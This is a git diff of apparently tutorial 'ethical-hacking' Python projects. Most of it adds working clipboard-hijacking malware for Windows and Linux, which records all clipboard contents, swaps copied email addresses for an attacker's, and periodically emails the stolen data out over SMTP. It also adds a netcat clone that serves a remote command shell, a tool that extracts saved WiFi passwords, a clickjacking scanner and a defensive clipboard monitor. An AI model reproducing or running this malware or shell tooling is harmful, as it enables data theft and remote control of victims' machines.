+ print(f"[+] {url} may be vulnerable to clickjacking.")
+ else:
+ print(f"[-] {url} is not vulnerable to clickjacking.")
+
+ if args.log:
+ # Add https:// schema if not present in the URL for response printing.
+ if not url.startswith('http://') and not url.startswith('https://'):
+ url = 'https://' + url
+
+ print("\nResponse Headers:")
+ response = requests.get(url)
+ for header, value in response.headers.items():
+ print(f"{header}: {value}")
+
+if __name__ == '__main__':
+ main()
diff --git a/ethical-hacking/clickjacking-scanner/requirements .txt b/ethical-hacking/clickjacking-scanner/requirements .txt
new file mode 100644
index 00000000..663bd1f6
--- /dev/null
+++ b/ethical-hacking/clickjacking-scanner/requirements .txt
@@ -0,0 +1 @@
+requests
\ No newline at end of file
diff --git a/ethical-hacking/clipboard-hijacking-tool/README.md b/ethical-hacking/clipboard-hijacking-tool/README.md
new file mode 100644
index 00000000..05a3f405
--- /dev/null
+++ b/ethical-hacking/clipboard-hijacking-tool/README.md
@@ -0,0 +1,2 @@
+# [Building a ClipBoard Hijacking Malware with Python](https://thepythoncode.com/article/build-a-clipboard-hijacking-tool-with-python)
+This project demonstrates how to create a clipboard hijacking malware using Python. The malware monitors the clipboard for any changes and replaces the copied content with a predefined message or malicious link.
\ No newline at end of file
diff --git a/ethical-hacking/clipboard-hijacking-tool/clipboard_hijacker.py b/ethical-hacking/clipboard-hijacking-tool/clipboard_hijacker.py
new file mode 100644
index 00000000..0fcbaeb0
--- /dev/null
+++ b/ethical-hacking/clipboard-hijacking-tool/clipboard_hijacker.py
@@ -0,0 +1,211 @@
+"""
+Clipboard Email Hijacker with Email Exfiltration
+Monitors clipboard, hijacks emails, and exfiltrates collected data via email
+"""
+
+import win32clipboard
+import re
+from time import sleep, time
+import sys
+import smtplib
+from email.mime.text import MIMEText
+from email.mime.multipart import MIMEMultipart
+from datetime import datetime
+
+# Configuration
+ATTACKER_EMAIL = "attacker@attack.com"
+EXFILTRATION_EMAIL = "addyours@gmail.com"
+CHECK_INTERVAL = 1 # seconds between clipboard checks
+SEND_INTERVAL = 20 # seconds between sending collected data
+EMAIL_REGEX = r'^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$'
+
+# Gmail SMTP Configuration
+SMTP_SERVER = "smtp.gmail.com"
+SMTP_PORT = 465 # Using SSL port like the working test
+SMTP_USERNAME = "addyours@gmail.com"
+SMTP_PASSWORD = "add yours"
+
+# Data collection storage
+clipboard_data = []
+hijacked_emails = []
+
+def get_clipboard_text():
+ """Safely get text from clipboard"""
+ try:
+ win32clipboard.OpenClipboard()
+ try:
+ data = win32clipboard.GetClipboardData(win32clipboard.CF_TEXT)
+ if data:
+ return data.decode('utf-8').rstrip()
+ return None
+ except TypeError:
+ # Clipboard doesn't contain text
+ return None
+ finally:
+ win32clipboard.CloseClipboard()
+ except Exception as e:
+ return None
+
+def set_clipboard_text(text):
+ """Safely set clipboard text"""
+ try:
+ win32clipboard.OpenClipboard()
+ win32clipboard.EmptyClipboard()
+ win32clipboard.SetClipboardText(text, win32clipboard.CF_TEXT)
+ win32clipboard.CloseClipboard()
+ return True
+ except Exception as e:
+ try:
+ win32clipboard.CloseClipboard()
+ except:
+ pass
+ return False
+
+def send_exfiltration_email(clipboard_data, hijacked_emails):
+ """Send collected clipboard data via email"""
+
+ if not clipboard_data and not hijacked_emails:
+ print("[*] No data to exfiltrate, skipping email")
+ return False
+
+ try:
+ # Create email
+ msg = MIMEMultipart()
+ msg['From'] = SMTP_USERNAME
+ msg['To'] = EXFILTRATION_EMAIL
+ msg['Subject'] = f"Clipboard Data Exfiltration - {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}"
+
+ # Build email body
+ body = "="*60 + "\n"
+ body += "CLIPBOARD DATA EXFILTRATION REPORT\n"
+ body += "="*60 + "\n\n"
+ body += f"Collection Time: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}\n"
+ body += f"Total Items Collected: {len(clipboard_data)}\n"
+ body += f"Total Emails Hijacked: {len(hijacked_emails)}\n"
+ body += "\n" + "="*60 + "\n"
+
+ # Clipboard data section
+ if clipboard_data:
+ body += "\n--- CLIPBOARD DATA COLLECTED ---\n"
+ body += "\nAll captured clipboard content (comma-separated):\n"
+ body += ", ".join(clipboard_data)
+ body += "\n\n--- DETAILED CLIPBOARD ENTRIES ---\n"
+ for i, item in enumerate(clipboard_data, 1):
+ body += f"{i}. {item}\n"
+
+ # Hijacked emails section
+ if hijacked_emails:
+ body += "\n" + "="*60 + "\n"
+ body += "--- HIJACKED EMAIL ADDRESSES ---\n\n"
+ body += "Comma-separated list:\n"
+ body += ", ".join(hijacked_emails)
+ body += "\n\nDetailed list:\n"
+ for i, email in enumerate(hijacked_emails, 1):
+ body += f"{i}. {email}\n"
+
+ body += "\n" + "="*60 + "\n"
+ body += "End of Report\n"
+ body += "="*60 + "\n"
+
+ msg.attach(MIMEText(body, 'plain'))
+
+ # Send email using SMTP_SSL (exactly like the working test email)
+ print(f"\n[*] Sending exfiltration email to {EXFILTRATION_EMAIL}...")
+ with smtplib.SMTP_SSL(SMTP_SERVER, SMTP_PORT) as server:
+ server.login(SMTP_USERNAME, SMTP_PASSWORD)
+ server.send_message(msg)
+
+ print(f"[+] Successfully sent exfiltration email!")
+ print(f" - Clipboard items: {len(clipboard_data)}")
+ print(f" - Hijacked emails: {len(hijacked_emails)}\n")
+
+ return True
+
+ except smtplib.SMTPAuthenticationError:
+ print("[ERROR] SMTP Authentication failed!")
+ print("[!] Make sure you're using a Gmail App Password, not your regular password")
+ print("[!] Generate one at: https://myaccount.google.com/apppasswords")
+ return False
+ except Exception as e:
+ print(f"[ERROR] Failed to send email: {e}")
+ import traceback
+ traceback.print_exc()
+ return False
+
+def main():
+ """Main clipboard monitoring loop with periodic exfiltration"""
+ global clipboard_data, hijacked_emails
+
+ print("="*60)
+ print("Clipboard Email Hijacker with Data Exfiltration")
+ print("="*60)
+ print(f"[+] Target email replacement: {ATTACKER_EMAIL}")
+ print(f"[+] Exfiltration email: {EXFILTRATION_EMAIL}")
+ print(f"[+] Monitoring clipboard every {CHECK_INTERVAL} second(s)")
+ print(f"[+] Sending data every {SEND_INTERVAL} seconds")
+ print("[+] Press Ctrl+C to stop and exit\n")
+
+ hijack_count = 0
+ last_hijacked = None
+ last_send_time = time()
+ last_clipboard_content = None
+
+ try:
+ while True:
+ current_time = time()
+
+ # Get clipboard content
+ data = get_clipboard_text()
+
+ # Store ALL clipboard content (not just emails)
+ if data and data != last_clipboard_content:
+ clipboard_data.append(data)
+ last_clipboard_content = data
+ print(f"[*] Clipboard captured: {data[:50]}{'...' if len(data) > 50 else ''}")
+
+ # Check if it's an email and hijack it
+ if data and re.search(EMAIL_REGEX, data):
+ if data != ATTACKER_EMAIL and data != last_hijacked:
+ print(f"[!] EMAIL DETECTED: {data}")
+
+ # Record the original email before hijacking
+ hijacked_emails.append(data)
+
+ if set_clipboard_text(ATTACKER_EMAIL):
+ hijack_count += 1
+ last_hijacked = data
+ print(f"[+] REPLACED with: {ATTACKER_EMAIL}")
+ print(f"[*] Total hijacks: {hijack_count}\n")
+
+ # Check if it's time to send exfiltration email
+ if current_time - last_send_time >= SEND_INTERVAL:
+ if send_exfiltration_email(clipboard_data, hijacked_emails):
+ # Clear the data after successful send
+ clipboard_data = []
+ hijacked_emails = []
+ print("[+] Data cleared, starting new collection cycle\n")
+
+ last_send_time = current_time
+
+ sleep(CHECK_INTERVAL)
+
+ except KeyboardInterrupt:
+ print(f"\n\n[+] Ctrl+C detected - Stopping monitoring...")
+ print(f"[*] Total emails hijacked: {hijack_count}")
+
+ # Send any remaining data before exit
+ if clipboard_data or hijacked_emails:
+ print("\n[*] Sending final exfiltration email with remaining data...")
+ send_exfiltration_email(clipboard_data, hijacked_emails)
+
+ print("\n[+] Program exited successfully")
+ sys.exit(0)
+
+ except Exception as e:
+ print(f"\n[ERROR] Unexpected error: {e}")
+ import traceback
+ traceback.print_exc()
+ sys.exit(1)
+
+if __name__ == "__main__":
+ main()
\ No newline at end of file
diff --git a/ethical-hacking/clipboard-hijacking-tool/clipboard_hijacker_linux.py b/ethical-hacking/clipboard-hijacking-tool/clipboard_hijacker_linux.py
new file mode 100644
index 00000000..d1c78ab1
--- /dev/null
+++ b/ethical-hacking/clipboard-hijacking-tool/clipboard_hijacker_linux.py
@@ -0,0 +1,251 @@
+"""
+Clipboard Email Hijacker with Email Exfiltration - Linux Version
+"""
+
+import re
+from time import sleep, time
+import sys
+import smtplib
+from email.mime.text import MIMEText
+from email.mime.multipart import MIMEMultipart
+from datetime import datetime
+import subprocess
+import os
+
+# Configuration
+ATTACKER_EMAIL = "attacker@attack.com"
+EXFILTRATION_EMAIL = "ADD YOURS@gmail.com"
+CHECK_INTERVAL = 1 # seconds between clipboard checks
+SEND_INTERVAL = 20 # seconds between sending collected data
+EMAIL_REGEX = r'^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$'
+
+# Gmail SMTP Configuration
+SMTP_SERVER = "smtp.gmail.com"
+SMTP_PORT = 465
+SMTP_USERNAME = "ADD YOURS@gmail.com"
+SMTP_PASSWORD = "ADD Yours"
+
+# Data collection storage
+clipboard_data = []
+hijacked_emails = []
+
+# Detect clipboard tool
+CLIPBOARD_TOOL = None
+if os.system("which xclip > /dev/null 2>&1") == 0:
+ CLIPBOARD_TOOL = "xclip"
+elif os.system("which xsel > /dev/null 2>&1") == 0:
+ CLIPBOARD_TOOL = "xsel"
+elif os.system("which wl-paste > /dev/null 2>&1") == 0:
+ CLIPBOARD_TOOL = "wayland"
+else:
+ print("[ERROR] No clipboard tool found!")
+ print("[!] Install: sudo apt-get install xclip")
+ sys.exit(1)
+
+def get_clipboard_text():
+ """Safely get text from clipboard"""
+ try:
+ if CLIPBOARD_TOOL == "xclip":
+ result = subprocess.run(
+ ["xclip", "-selection", "clipboard", "-o"],
+ capture_output=True,
+ text=True,
+ timeout=2
+ )
+ elif CLIPBOARD_TOOL == "xsel":
+ result = subprocess.run(
+ ["xsel", "--clipboard", "--output"],
+ capture_output=True,
+ text=True,
+ timeout=2
+ )
+ elif CLIPBOARD_TOOL == "wayland":
+ result = subprocess.run(
+ ["wl-paste"],
+ capture_output=True,
+ text=True,
+ timeout=2
+ )
+ else:
+ return None
+
+ if result.returncode == 0:
+ return result.stdout.rstrip()
+ return None
+ except:
+ return None
+
+def set_clipboard_text(text):
+ """Safely set clipboard text"""
+ try:
+ if CLIPBOARD_TOOL == "xclip":
+ process = subprocess.Popen(
+ ["xclip", "-selection", "clipboard", "-i"],
+ stdin=subprocess.PIPE
+ )
+ elif CLIPBOARD_TOOL == "xsel":
+ process = subprocess.Popen(
+ ["xsel", "--clipboard", "--input"],
+ stdin=subprocess.PIPE
+ )
+ elif CLIPBOARD_TOOL == "wayland":
+ process = subprocess.Popen(
+ ["wl-copy"],
+ stdin=subprocess.PIPE
+ )
+ else:
+ return False
+
+ process.communicate(input=text.encode('utf-8'), timeout=2)
+ return process.returncode == 0
+ except:
+ return False
+
+def send_exfiltration_email(clipboard_data, hijacked_emails):
+ """Send collected clipboard data via email"""
+
+ if not clipboard_data and not hijacked_emails:
+ print("[*] No data to exfiltrate, skipping email")
+ return False
+
+ try:
+ # Create email
+ msg = MIMEMultipart()
+ msg['From'] = SMTP_USERNAME
+ msg['To'] = EXFILTRATION_EMAIL
+ msg['Subject'] = f"Clipboard Data Exfiltration - {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}"
+
+ # Build email body
+ body = "="*60 + "\n"
+ body += "CLIPBOARD DATA EXFILTRATION REPORT\n"
+ body += "="*60 + "\n\n"
+ body += f"Collection Time: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}\n"
+ body += f"Total Items Collected: {len(clipboard_data)}\n"
+ body += f"Total Emails Hijacked: {len(hijacked_emails)}\n"
+ body += "\n" + "="*60 + "\n"
+
+ # Clipboard data section
+ if clipboard_data:
+ body += "\n--- CLIPBOARD DATA COLLECTED ---\n"
+ body += "\nAll captured clipboard content (comma-separated):\n"
+ body += ", ".join(clipboard_data)
+ body += "\n\n--- DETAILED CLIPBOARD ENTRIES ---\n"
+ for i, item in enumerate(clipboard_data, 1):
+ body += f"{i}. {item}\n"
+
+ # Hijacked emails section
+ if hijacked_emails:
+ body += "\n" + "="*60 + "\n"
+ body += "--- HIJACKED EMAIL ADDRESSES ---\n\n"
+ body += "Comma-separated list:\n"
+ body += ", ".join(hijacked_emails)
+ body += "\n\nDetailed list:\n"
+ for i, email in enumerate(hijacked_emails, 1):
+ body += f"{i}. {email}\n"
+
+ body += "\n" + "="*60 + "\n"
+ body += "End of Report\n"
+ body += "="*60 + "\n"
+
+ msg.attach(MIMEText(body, 'plain'))
+
+ # Send email using SMTP_SSL
+ print(f"\n[*] Sending exfiltration email to {EXFILTRATION_EMAIL}...")
+ with smtplib.SMTP_SSL(SMTP_SERVER, SMTP_PORT) as server:
+ server.login(SMTP_USERNAME, SMTP_PASSWORD)
+ server.send_message(msg)
+
+ print(f"[+] Successfully sent exfiltration email!")
+ print(f" - Clipboard items: {len(clipboard_data)}")
+ print(f" - Hijacked emails: {len(hijacked_emails)}\n")
+
+ return True
+
+ except smtplib.SMTPAuthenticationError:
+ print("[ERROR] SMTP Authentication failed!")
+ print("[!] Make sure you're using a Gmail App Password, not your regular password")
+ return False
+ except Exception as e:
+ print(f"[ERROR] Failed to send email: {e}")
+ import traceback
+ traceback.print_exc()
+ return False
+
+def main():
+ """Main clipboard monitoring loop with periodic exfiltration"""
+ global clipboard_data, hijacked_emails
+
+ print("="*60)
+ print("Clipboard Email Hijacker - Linux Version")
+ print("="*60)
+ print(f"[+] Clipboard tool: {CLIPBOARD_TOOL}")
+ print(f"[+] Target email replacement: {ATTACKER_EMAIL}")
+ print(f"[+] Exfiltration email: {EXFILTRATION_EMAIL}")
+ print(f"[+] Monitoring clipboard every {CHECK_INTERVAL} second(s)")
+ print(f"[+] Sending data every {SEND_INTERVAL} seconds")
+ print("[+] Press Ctrl+C to stop and exit\n")
+
+ hijack_count = 0
+ last_hijacked = None
+ last_send_time = time()
+ last_clipboard_content = None
+
+ try:
+ while True:
+ current_time = time()
+
+ # Get clipboard content
+ data = get_clipboard_text()
+
+ # Store ALL clipboard content (not just emails)
+ if data and data != last_clipboard_content:
+ clipboard_data.append(data)
+ last_clipboard_content = data
+ print(f"[*] Clipboard captured: {data[:50]}{'...' if len(data) > 50 else ''}")
+
+ # Check if it's an email and hijack it
+ if data and re.search(EMAIL_REGEX, data):
+ if data != ATTACKER_EMAIL and data != last_hijacked:
+ print(f"[!] EMAIL DETECTED: {data}")
+
+ # Record the original email before hijacking
+ hijacked_emails.append(data)
+
+ if set_clipboard_text(ATTACKER_EMAIL):
+ hijack_count += 1
+ last_hijacked = data
+ print(f"[+] REPLACED with: {ATTACKER_EMAIL}")
+ print(f"[*] Total hijacks: {hijack_count}\n")
+
+ # Check if it's time to send exfiltration email
+ if current_time - last_send_time >= SEND_INTERVAL:
+ if send_exfiltration_email(clipboard_data, hijacked_emails):
+ # Clear the data after successful send
+ clipboard_data = []
+ hijacked_emails = []
+ print("[+] Data cleared, starting new collection cycle\n")
+
+ last_send_time = current_time
+
+ sleep(CHECK_INTERVAL)
+
+ except KeyboardInterrupt:
+ print(f"\n\n[+] Ctrl+C detected - Stopping monitoring...")
+ print(f"[*] Total emails hijacked: {hijack_count}")
+
+ # Send any remaining data before exit
+ if clipboard_data or hijacked_emails:
+ print("\n[*] Sending final exfiltration email with remaining data...")
+ send_exfiltration_email(clipboard_data, hijacked_emails)
+
+ print("\n[+] Program exited successfully")
+ sys.exit(0)
+
+ except Exception as e:
+ print(f"\n[ERROR] Unexpected error: {e}")
+ import traceback
+ traceback.print_exc()
+ sys.exit(1)
+
+if __name__ == "__main__":
+ main()
\ No newline at end of file
diff --git a/ethical-hacking/clipboard-hijacking-tool/clipboard_monitor.py b/ethical-hacking/clipboard-hijacking-tool/clipboard_monitor.py
new file mode 100644
index 00000000..5d3fcebc
--- /dev/null
+++ b/ethical-hacking/clipboard-hijacking-tool/clipboard_monitor.py
@@ -0,0 +1,79 @@
+import win32gui
+import win32api
+import ctypes
+from win32clipboard import GetClipboardOwner
+from win32process import GetWindowThreadProcessId
+from psutil import Process
+import winsound
+import sys
+import signal
+
+def handle_clipboard_event(window_handle, message, w_param, l_param):
+ if message == 0x031D: # WM_CLIPBOARDUPDATE
+ try:
+ clipboard_owner_window = GetClipboardOwner()
+ process_id = GetWindowThreadProcessId(clipboard_owner_window)[1]
+ process = Process(process_id)
+ process_name = process.name()
+
+ # Successfully identified the process - no beep
+ print("Clipboard modified by %s" % process_name)
+
+ except Exception:
+ # Could not identify the process - BEEP!
+ print("Clipboard modified by unknown process")
+ winsound.Beep(1000, 300)
+
+ return 0
+
+
+def create_listener_window():
+ window_class = win32gui.WNDCLASS()
+ window_class.lpfnWndProc = handle_clipboard_event
+ window_class.lpszClassName = 'clipboardListener'
+ window_class.hInstance = win32api.GetModuleHandle(None)
+
+ class_atom = win32gui.RegisterClass(window_class)
+
+ return win32gui.CreateWindow(
+ class_atom,
+ 'clipboardListener',
+ 0,
+ 0, 0, 0, 0,
+ 0, 0,
+ window_class.hInstance,
+ None
+ )
+
+
+def signal_handler(sig, frame):
+ print("\n[+] Exiting...")
+ sys.exit(0)
+
+
+def start_clipboard_monitor():
+ print("[+] Clipboard listener started")
+ print("[+] Press Ctrl+C to exit\n")
+
+ # Set up signal handler for Ctrl+C
+ signal.signal(signal.SIGINT, signal_handler)
+
+ listener_window = create_listener_window()
+ ctypes.windll.user32.AddClipboardFormatListener(listener_window)
+
+ # Pump messages but check for exit condition
+ try:
+ while True:
+ # Process messages with a timeout to allow checking for exit
+ if win32gui.PumpWaitingMessages() != 0:
+ break
+ win32api.Sleep(100) # Sleep a bit to prevent high CPU usage
+ except KeyboardInterrupt:
+ print("\n[+] Exiting...")
+ finally:
+ # Clean up - remove clipboard listener
+ ctypes.windll.user32.RemoveClipboardFormatListener(listener_window)
+
+
+if __name__ == "__main__":
+ start_clipboard_monitor()
\ No newline at end of file
diff --git a/ethical-hacking/clipboard-hijacking-tool/requirements.txt b/ethical-hacking/clipboard-hijacking-tool/requirements.txt
new file mode 100644
index 00000000..afd24f6a
--- /dev/null
+++ b/ethical-hacking/clipboard-hijacking-tool/requirements.txt
@@ -0,0 +1 @@
+pywin32
\ No newline at end of file
diff --git a/ethical-hacking/custom-netcat/README.md b/ethical-hacking/custom-netcat/README.md
new file mode 100644
index 00000000..81366e68
--- /dev/null
+++ b/ethical-hacking/custom-netcat/README.md
@@ -0,0 +1 @@
+# [How to Build a Custom NetCat with Python](https://thepythoncode.com/article/create-a-custom-netcat-in-python)
\ No newline at end of file
diff --git a/ethical-hacking/custom-netcat/netcat.py b/ethical-hacking/custom-netcat/netcat.py
new file mode 100644
index 00000000..73313932
--- /dev/null
+++ b/ethical-hacking/custom-netcat/netcat.py
@@ -0,0 +1,322 @@
+import sys, socket, getopt, threading, subprocess, signal, time
+
+
+class NetCat:
+ def __init__(self, target, port):
+ self.listen = False
+ self.command = False
+ self.upload = False
+ self.execute = ""
+ self.target = target
+ self.upload_destination = ""
+ self.port = port
+ self.running = True
+ self.threads = []
+
+ def signal_handler(self, signum, frame):
+ print('\n[*] User requested an interrupt. Exiting gracefully.')
+ self.running = False
+ time.sleep(0.5)
+ sys.exit(0)
+
+ def run_command(self, cmd):
+ cmd = cmd.rstrip()
+ try:
+ output = subprocess.check_output(cmd, stderr=subprocess.STDOUT, shell=True)
+ except subprocess.CalledProcessError as e:
+ output = e.output
+ except Exception as e:
+ output = str(e).encode()
+ return output
+
+ def handle_client(self, client_socket):
+ try:
+ if len(self.upload_destination):
+ file_buffer = ""
+ while self.running:
+ try:
+ data = client_socket.recv(1024)
+ if not data:
+ break
+ else:
+ file_buffer += data.decode('utf-8')
+ except (ConnectionResetError, BrokenPipeError) as e:
+ print(f"[!] Connection error during upload: {str(e)}")
+ break
+ except Exception as e:
+ print(f"[!] Error receiving data: {str(e)}")
+ break
+
+ try:
+ with open(self.upload_destination, "wb") as file_descriptor:
+ file_descriptor.write(file_buffer.encode('utf-8'))
+ try:
+ client_socket.send(
+ f"Successfully saved file to {self.upload_destination}\r\n".encode('utf-8'))
+ except (BrokenPipeError, ConnectionResetError):
+ print("[!] Couldn't send success message - connection lost")
+ except OSError as e:
+ print(f"[!] File operation failed: {str(e)}")
+ try:
+ client_socket.send(
+ f"Failed to save file to {self.upload_destination}\r\n".encode('utf-8'))
+ except (BrokenPipeError, ConnectionResetError):
+ print("[!] Couldn't send error message - connection lost")
+
+ if len(self.execute) and self.running:
+ try:
+ output = self.run_command(self.execute)
+ client_socket.send(output)
+ except (BrokenPipeError, ConnectionResetError):
+ print("[!] Couldn't send command output - connection lost")
+ except Exception as e:
+ print(f"[!] Error executing command: {str(e)}")
+
+ if self.command:
+ while self.running:
+ try:
+ # Send prompt
+ client_socket.send(b" ")
+
+ # Receive command
+ cmd_buffer = b''
+ while b"\n" not in cmd_buffer and self.running:
+ try:
+ data = client_socket.recv(1024)
+ if not data:
+ raise ConnectionResetError("No data received")
+ cmd_buffer += data
+ except socket.timeout:
+ continue
+ except (ConnectionResetError, BrokenPipeError):
+ raise
+
+ if not self.running:
+ break
+
+ # Execute command and send response
+ try:
+ cmd = cmd_buffer.decode().strip()
+ if cmd.lower() in ['exit', 'quit']:
+ print("[*] User requested exit")
+ break
+
+ output = self.run_command(cmd)
+ if output:
+ client_socket.send(output + b"\n")
+ else:
+ client_socket.send(b"Command completed without output\n")
+
+ except (BrokenPipeError, ConnectionResetError):
+ print("[!] Connection lost while sending response")
+ break
+ except Exception as e:
+ error_msg = f"Error executing command: {str(e)}\n"
+ try:
+ client_socket.send(error_msg.encode())
+ except:
+ break
+
+ except ConnectionResetError:
+ print("[!] Connection reset by peer")
+ break
+ except BrokenPipeError:
+ print("[!] Broken pipe - connection lost")
+ break
+ except Exception as e:
+ print(f"[!] Error in command loop: {str(e)}")
+ break
+
+ except Exception as e:
+ print(f"[!] Exception in handle_client: {str(e)}")
+ finally:
+ try:
+ client_socket.close()
+ print("[*] Client connection closed")
+ except:
+ pass
+
+ def server_loop(self):
+ server = None
+ try:
+ if not len(self.target):
+ self.target = "0.0.0.0"
+
+ server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+ server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
+ server.bind((self.target, self.port))
+ server.listen(5)
+
+ print(f"[*] Listening on {self.target}:{self.port}")
+
+ server.settimeout(1.0)
+
+ while self.running:
+ try:
+ client_socket, addr = server.accept()
+ print(f"[*] Accepted connection from {addr[0]}:{addr[1]}")
+
+ client_thread = threading.Thread(
+ target=self.handle_client,
+ args=(client_socket,)
+ )
+ client_thread.daemon = True
+ self.threads.append(client_thread)
+ client_thread.start()
+
+ except socket.timeout:
+ continue
+ except Exception as e:
+ if self.running:
+ print(f"[!] Exception in server_loop: {str(e)}")
+ break
+
+ except Exception as e:
+ print(f"[!] Failed to create server: {str(e)}")
+ finally:
+ if server:
+ try:
+ server.close()
+ print("[*] Server socket closed")
+ except:
+ pass
+
+ for thread in self.threads:
+ try:
+ thread.join(timeout=1.0)
+ except threading.ThreadError:
+ pass
+
+ def client_sender(self, buffer):
+ client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+
+ try:
+ print(f"[*] Connecting to {self.target}:{self.port}")
+ client.connect((self.target, self.port))
+
+ if len(buffer):
+ try:
+ client.send(buffer.encode('utf-8'))
+ except (BrokenPipeError, ConnectionResetError):
+ print("[!] Failed to send initial buffer - connection lost")
+ return
+
+ while self.running:
+ try:
+ # Receive response from server
+ recv_len = 1
+ response = b''
+
+ while recv_len:
+ data = client.recv(4096)
+ recv_len = len(data)
+ response += data
+
+ if recv_len < 4096:
+ break
+
+ if response:
+ print(response.decode('utf-8'), end='')
+
+ # Get next command
+ buffer = input()
+ if not self.running:
+ break
+
+ if buffer.lower() in ['exit', 'quit']:
+ break
+
+ buffer += "\n"
+ try:
+ client.send(buffer.encode('utf-8'))
+ except (BrokenPipeError, ConnectionResetError):
+ print("\n[!] Failed to send data - connection lost")
+ break
+
+ except ConnectionResetError:
+ print("\n[!] Connection reset by peer")
+ break
+ except BrokenPipeError:
+ print("\n[!] Broken pipe - connection lost")
+ break
+ except EOFError:
+ print("\n[!] EOF detected - exiting")
+ break
+ except Exception as e:
+ print(f"\n[!] Exception in client loop: {str(e)}")
+ break
+
+ except socket.error as exc:
+ print("\n[!] Exception! Exiting.")
+ print(f"[!] Caught exception socket.error: {exc}")
+ finally:
+ print("[*] Closing connection")
+ try:
+ client.close()
+ except:
+ pass
+
+def main():
+ if len(sys.argv[1:]) == 0:
+ print("Custom Netcat")
+ print("\nSYNOPSIS")
+ print(" netcat.py [OPTIONS...]\n")
+ print("OPTIONS")
+ print(" -l, --listen Start server in listening mode on specified host:port")
+ print(" -e, --execute= Execute specified file upon connection establishment")
+ print(" -c, --command Initialize an interactive command shell session")
+ print(" -u, --upload= Upload file to specified destination path on connection")
+ print(" -t, --target= Specify target hostname or IP address")
+ print(" -p, --port= Specify target port number")
+ print()
+ sys.exit(0)
+
+ try:
+ opts, args = getopt.getopt(sys.argv[1:], "hle:t:p:cu:",
+ ["help", "listen", "execute", "target",
+ "port", "command", "upload"])
+
+ for o, a in opts:
+ if o in ("-h", "--help"):
+ main()
+ elif o in ("-l", "--listen"):
+ toolkit.listen = True
+ elif o in ("-e", "--execute"):
+ toolkit.execute = a
+ elif o in ("-c", "--command"):
+ toolkit.command = True
+ elif o in ("-u", "--upload"):
+ toolkit.upload_destination = a
+ elif o in ("-t", "--target"):
+ toolkit.target = a
+ elif o in ("-p", "--port"):
+ toolkit.port = int(a)
+ else:
+ assert False, "Unhandled Option"
+
+ except getopt.GetoptError as err:
+ print(str(err))
+ main()
+
+ signal.signal(signal.SIGINT, toolkit.signal_handler)
+ signal.signal(signal.SIGTERM, toolkit.signal_handler)
+
+ try:
+ if not toolkit.listen and len(toolkit.target) and toolkit.port > 0:
+ buffer = sys.stdin.read()
+ toolkit.client_sender(buffer)
+
+ if toolkit.listen:
+ toolkit.server_loop()
+ except KeyboardInterrupt:
+ print("\n[*] User requested shutdown")
+ except Exception as e:
+ print(f"\n[!] Unexpected error: {str(e)}")
+ finally:
+ toolkit.running = False
+ print("[*] Shutdown complete")
+ sys.exit(0)
+
+if __name__ == "__main__":
+ toolkit = NetCat("", 0)
+ main()
\ No newline at end of file
diff --git a/ethical-hacking/get-wifi-passwords/README.md b/ethical-hacking/get-wifi-passwords/README.md
index e24eda7f..a10efc10 100644
--- a/ethical-hacking/get-wifi-passwords/README.md
+++ b/ethical-hacking/get-wifi-passwords/README.md
@@ -1 +1,3 @@
-# [How to Extract Saved WiFi Passwords in Python](https://www.thepythoncode.com/article/extract-saved-wifi-passwords-in-python)
\ No newline at end of file
+# [How to Extract Saved WiFi Passwords in Python](https://www.thepythoncode.com/article/extract-saved-wifi-passwords-in-python)
+
+This program lists saved Wi-Fi networks and their passwords on Windows and Linux machines. In addition to the SSID (Wi-Fi network name) and passwords, the output also shows the network’s security type and ciphers.
\ No newline at end of file
diff --git a/ethical-hacking/get-wifi-passwords/get_wifi_passwords.py b/ethical-hacking/get-wifi-passwords/get_wifi_passwords.py
index 0afd70ca..ff32f6f8 100644
--- a/ethical-hacking/get-wifi-passwords/get_wifi_passwords.py
+++ b/ethical-hacking/get-wifi-passwords/get_wifi_passwords.py
@@ -28,10 +28,16 @@ def get_windows_saved_wifi_passwords(verbose=1):
[list]: list of extracted profiles, a profile has the fields ["ssid", "ciphers", "key"]
"""
ssids = get_windows_saved_ssids()
- Profile = namedtuple("Profile", ["ssid", "ciphers", "key"])
+ Profile = namedtuple("Profile", ["ssid", "security", "ciphers", "key"])
profiles = []
for ssid in ssids:
ssid_details = subprocess.check_output(f"""netsh wlan show profile "{ssid}" key=clear""").decode()
+
+ #get the security type
+ security = re.findall(r"Authentication\s(.*)", ssid_details)
+ # clear spaces and colon
+ security = "/".join(dict.fromkeys(c.strip().strip(":").strip() for c in security))
+
# get the ciphers
ciphers = re.findall(r"Cipher\s(.*)", ssid_details)
# clear spaces and colon
@@ -43,7 +49,7 @@ def get_windows_saved_wifi_passwords(verbose=1):
key = key[0].strip().strip(":").strip()
except IndexError:
key = "None"
- profile = Profile(ssid=ssid, ciphers=ciphers, key=key)
+ profile = Profile(ssid=ssid, security=security, ciphers=ciphers, key=key)
if verbose >= 1:
print_windows_profile(profile)
profiles.append(profile)
@@ -52,12 +58,13 @@ def get_windows_saved_wifi_passwords(verbose=1):
def print_windows_profile(profile):
"""Prints a single profile on Windows"""
- print(f"{profile.ssid:25}{profile.ciphers:15}{profile.key:50}")
+ #print(f"{profile.ssid:25}{profile.ciphers:15}{profile.key:50}")
+ print(f"{profile.ssid:25}{profile.security:30}{profile.ciphers:35}{profile.key:50}")
def print_windows_profiles(verbose):
"""Prints all extracted SSIDs along with Key on Windows"""
- print("SSID CIPHER(S) KEY")
+ print("SSID Securities CIPHER(S) KEY")
print("-"*50)
get_windows_saved_wifi_passwords(verbose)
diff --git a/ethical-hacking/http-security-headers/README.md b/ethical-hacking/http-security-headers/README.md
new file mode 100644
index 00000000..e0e7b1d0
--- /dev/null
+++ b/ethical-hacking/http-security-headers/README.md
@@ -0,0 +1,2 @@
+Grab your API key from Open Router:- https://openrouter.ai/
+Model is Used is DeepSeek: DeepSeek V3.1 (free). However, feel free to try others.
\ No newline at end of file
diff --git a/ethical-hacking/http-security-headers/http_security_headers.py b/ethical-hacking/http-security-headers/http_security_headers.py
new file mode 100644
index 00000000..67b494c4
